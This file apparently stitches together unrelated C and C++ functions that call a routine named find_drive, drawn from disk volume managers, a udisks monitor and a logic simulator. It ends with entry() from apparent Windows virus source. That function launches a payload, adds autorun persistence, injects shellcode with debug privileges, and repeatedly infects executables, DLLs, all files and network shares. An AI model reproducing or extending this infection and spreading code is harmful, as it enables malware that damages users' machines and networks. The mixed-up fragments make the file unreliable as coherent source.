/* Create a drive quick and dirty. */
char *
create_drive(char *device)
{
struct gv_drive *d;
struct gctl_req *req;
const char *errstr;
char *drivename, *dname;
int drives, i, flags, volumes, subdisks, plexes;
flags = plexes = subdisks = volumes = 0;
drives = 1;
dname = NULL;
drivename = find_drive();
if (drivename == NULL)
return (NULL);
req = gctl_get_handle();
gctl_ro_param(req, "class", -1, "VINUM");
gctl_ro_param(req, "verb", -1, "create");
d = gv_alloc_drive();
if (d == NULL)
err(1, "unable to allocate for gv_drive object");
strlcpy(d->name, drivename, sizeof(d->name));
copy_device(d, device);
gctl_ro_param(req, "drive0", sizeof(*d), d);
gctl_ro_param(req, "flags", sizeof(int), &flags);
gctl_ro_param(req, "drives", sizeof(int), &drives);
gctl_ro_param(req, "volumes", sizeof(int), &volumes);
gctl_ro_param(req, "plexes", sizeof(int), &plexes);
gctl_ro_param(req, "subdisks", sizeof(int), &subdisks);
errstr = gctl_issue(req);
if (errstr != NULL) {
warnx("error creating drive: %s", errstr);
gctl_free(req);
return (NULL);
} else {
gctl_free(req);
/* XXX: This is needed because we have to make sure the drives
* are created before we return. */
/* Loop until it's in the config. */
for (i = 0; i < 100000; i++) {
dname = find_name("gvinumdrive", GV_TYPE_DRIVE,
GV_MAXDRIVENAME);
/* If we got a different name, quit. */
if (dname == NULL)
continue;
if (strcmp(dname, drivename)) {
free(dname);
return (drivename);
}
free(dname);
dname = NULL;
usleep(100000); /* Sleep for 0.1s */
}
}
gctl_free(req);
return (drivename);
}
static void add_drive(GUDisksVolumeMonitor* mon, GUDisksDevice* dev, gboolean emit_signal)
{
if(!find_drive(mon, dev))
{
GUDisksDrive* drv = g_udisks_drive_new(mon, dev);
mon->drives = g_list_prepend(mon->drives, drv);
if(emit_signal)
g_signal_emit(mon, sig_drive_connected, 0, drv);
}
}
static update_volume_drive(GUDisksVolume* vol, GUDisksVolumeMonitor* mon)
{
/* set association between drive and volumes here */
GUDisksDevice* dev;
if(vol->dev->is_drive) /* it's a drive itself (cdrom is an example) */
dev = vol->dev;
else if(vol->dev->partition_slave)
dev = find_device(mon, vol->dev->partition_slave);
else
dev = NULL;
/* no ref_count handling is needed. volume manager owns all the objects. */
if(dev)
{
GUDisksDrive* drv = find_drive(mon, dev);
vol->drive = drv;
}
else
vol->drive = NULL;
}
static void g_udisks_device_changed(GUDisksDevice* dev, GUDisksVolumeMonitor* mon)
{
GUDisksDrive* drv = find_drive(mon, dev);
GUDisksVolume* vol = find_volume(mon, dev);
/*
gboolean is_drive = dev->is_drive;
char* usage = g_strdup(dev->usage);
*/
g_debug("g_udisks_device_changed");
if(drv)
{
g_signal_emit(mon, sig_drive_changed, 0, drv);
g_udisks_drive_changed(drv);
/* it's no longer a drive */
if(!dev->is_drive)
remove_drive(mon, dev);
}
else
{
if(dev->is_drive)
add_drive(mon, dev, TRUE);
}
if(vol)
{
update_volume_drive(vol, mon);
g_signal_emit(mon, sig_volume_changed, 0, vol);
g_udisks_volume_changed(vol);
/* it's no longer a volume */
if(!g_udisks_device_is_volume(dev))
remove_volume(mon, dev);
}
else
{
/* we got a usable volume now */
if(g_udisks_device_is_volume(dev))
add_volume(mon, dev, TRUE);
}
}
bool net::retrieve_logic_value()
{
pin * drive = NULL;
if(find_drive(drive)){
if (bwcomf) {
return value_;
}
else{
set_comf();
value1_ = 0;
value_ = (drive->get_gate())->compute_output();//NOTE: flip_flop
return value_;
}
}
else{//if all is Z
value1_ = 1;
value_ = 1;
set_comf();
return value_;
}
}
/* Grow a subdisk by adding disk backed by provider. */
void
gvinum_grow(int argc, char **argv)
{
struct gctl_req *req;
char *drive, *sdname;
char sdprefix[GV_MAXSDNAME];
struct gv_drive *d;
struct gv_sd *s;
const char *errstr;
int drives, volumes, plexes, subdisks, flags;
drives = volumes = plexes = subdisks = 0;
if (argc < 3) {
warnx("usage:\tgrow plex drive\n");
return;
}
s = gv_alloc_sd();
if (s == NULL) {
warn("unable to create subdisk");
return;
}
d = gv_alloc_drive();
if (d == NULL) {
warn("unable to create drive");
free(s);
return;
}
/* Lookup device and set an appropriate drive name. */
drive = find_drive();
if (drive == NULL) {
warn("unable to find an appropriate drive name");
free(s);
free(d);
return;
}
strlcpy(d->name, drive, sizeof(d->name));
copy_device(d, argv[2]);
drives = 1;
/* We try to use the plex name as basis for the subdisk name. */
snprintf(sdprefix, sizeof(sdprefix), "%s.s", argv[1]);
sdname = find_name(sdprefix, GV_TYPE_SD, GV_MAXSDNAME);
if (sdname == NULL) {
warn("unable to find an appropriate subdisk name");
free(s);
free(d);
free(drive);
return;
}
strlcpy(s->name, sdname, sizeof(s->name));
free(sdname);
strlcpy(s->plex, argv[1], sizeof(s->plex));
strlcpy(s->drive, d->name, sizeof(s->drive));
subdisks = 1;
req = gctl_get_handle();
gctl_ro_param(req, "class", -1, "VINUM");
gctl_ro_param(req, "verb", -1, "create");
gctl_ro_param(req, "flags", sizeof(int), &flags);
gctl_ro_param(req, "volumes", sizeof(int), &volumes);
gctl_ro_param(req, "plexes", sizeof(int), &plexes);
gctl_ro_param(req, "subdisks", sizeof(int), &subdisks);
gctl_ro_param(req, "drives", sizeof(int), &drives);
gctl_ro_param(req, "drive0", sizeof(*d), d);
gctl_ro_param(req, "sd0", sizeof(*s), s);
errstr = gctl_issue(req);
free(drive);
if (errstr != NULL) {
warnx("unable to grow plex: %s", errstr);
free(s);
free(d);
return;
}
gctl_free(req);
}
void
renameobject(struct vinum_rename_msg *msg)
{
struct _ioctl_reply *reply = (struct _ioctl_reply *) msg;
struct drive *drive;
struct sd *sd;
struct plex *plex;
struct volume *vol;
switch (msg->type) {
case drive_object: /* you can't attach a drive to anything */
if (find_drive(msg->newname, 0) >= 0) { /* we have that name already, */
reply->error = EEXIST;
reply->msg[0] = '\0';
return;
}
drive = validdrive(msg->index, reply);
if (drive) {
bcopy(msg->newname, drive->label.name, MAXDRIVENAME);
save_config();
reply->error = 0;
}
return;
case sd_object: /* you can't attach a subdisk to anything */
if (find_subdisk(msg->newname, 0) >= 0) { /* we have that name already, */
reply->error = EEXIST;
reply->msg[0] = '\0';
return;
}
sd = validsd(msg->index, reply);
if (sd) {
bcopy(msg->newname, sd->name, MAXSDNAME);
update_sd_config(sd->sdno, 0);
save_config();
reply->error = 0;
}
return;
case plex_object: /* you can't attach a plex to anything */
if (find_plex(msg->newname, 0) >= 0) { /* we have that name already, */
reply->error = EEXIST;
reply->msg[0] = '\0';
return;
}
plex = validplex(msg->index, reply);
if (plex) {
bcopy(msg->newname, plex->name, MAXPLEXNAME);
update_plex_config(plex->plexno, 0);
save_config();
reply->error = 0;
}
return;
case volume_object: /* you can't attach a volume to anything */
if (find_volume(msg->newname, 0) >= 0) { /* we have that name already, */
reply->error = EEXIST;
reply->msg[0] = '\0';
return;
}
vol = validvol(msg->index, reply);
if (vol) {
bcopy(msg->newname, vol->name, MAXVOLNAME);
update_volume_config(msg->index, 0);
save_config();
reply->error = 0;
}
return;
case invalid_object:
reply->error = EINVAL;
reply->msg[0] = '\0';
}
}
void entry(DWORD magic,DECRYPT_ITEM *item){
if (magic==MAGIC_INJECT){
#if _DEBUG
wchar_t name[MAX_PATH];
GetModuleFileNameW(GetModuleHandleW(0), name, MAX_PATH);
dbg(VINFO, L"I'm injected %s",name);
#endif
//в ожидании что бот помер
while (true){
HANDLE hbot = CreateMutexA(0, TRUE, mtbot);
if (!hbot){
Sleep(1000);
continue;
}
if (GetLastError() == ERROR_ALREADY_EXISTS){
CloseHandle(hbot);
Sleep(1000);
continue;
}
break;
}
//основной цикл жизни бота
#if _DEBUG
dbg(VINFO, L"Run bot %s", name);
#endif
//старт полезной нагрузки
CreateThread(0, 0, thread_payload, 0, 0, 0);
//запись в автозапуск
CreateThread(0, 0, thread_autorun, item, 0, 0);
//повторный инфект
cmem b;
b.push(item+1, item->size);
while (1){
find_drive(L"*.exe", P, &b);
find_drive(L"*.dll", P, &b);
infect_netshares(shares, &b);
find_drive(L"*.*", P, &b);
dbg(VINFO, "Infect done");
Sleep(60*60*1000);
}
ExitThread(0);
}
if (magic == MAGIC_SHELLCODE){ //Второе поколение вируса
dbg(VINFO, L"I'm copy beetle2 inside target file");
setPrivilege(GetCurrentProcess(), SE_DEBUG_NAME, TRUE);
cmem inj;
inj.push(item, item->size + sizeof(DECRYPT_ITEM));
inject(inj);
ExitThread(0);
}
wchar_t fcur[MAX_PATH];
GetModuleFileNameW(GetModuleHandleW(0), fcur, MAX_PATH);
cmem a, b, c;
if (!cfile::load(fcur, a)){
dbg(VERROR, "Can't open current file");
exit(0);
}
if (!cfile::load("..\\test\\notepad.exe", b)){
dbg(VERROR, "Can't open target file");
exit(0);
}
if (!infect(b, a, &c)){
dbg(VERROR, "Can't infect target file");
exit(0);
}
if (!cfile::save("..\\test\\notepad.inf.exe", c)){
dbg(VERROR, "Can't save infected file");
exit(0);
}
dbg(VINFO, "Done target file");
exit(0);
}
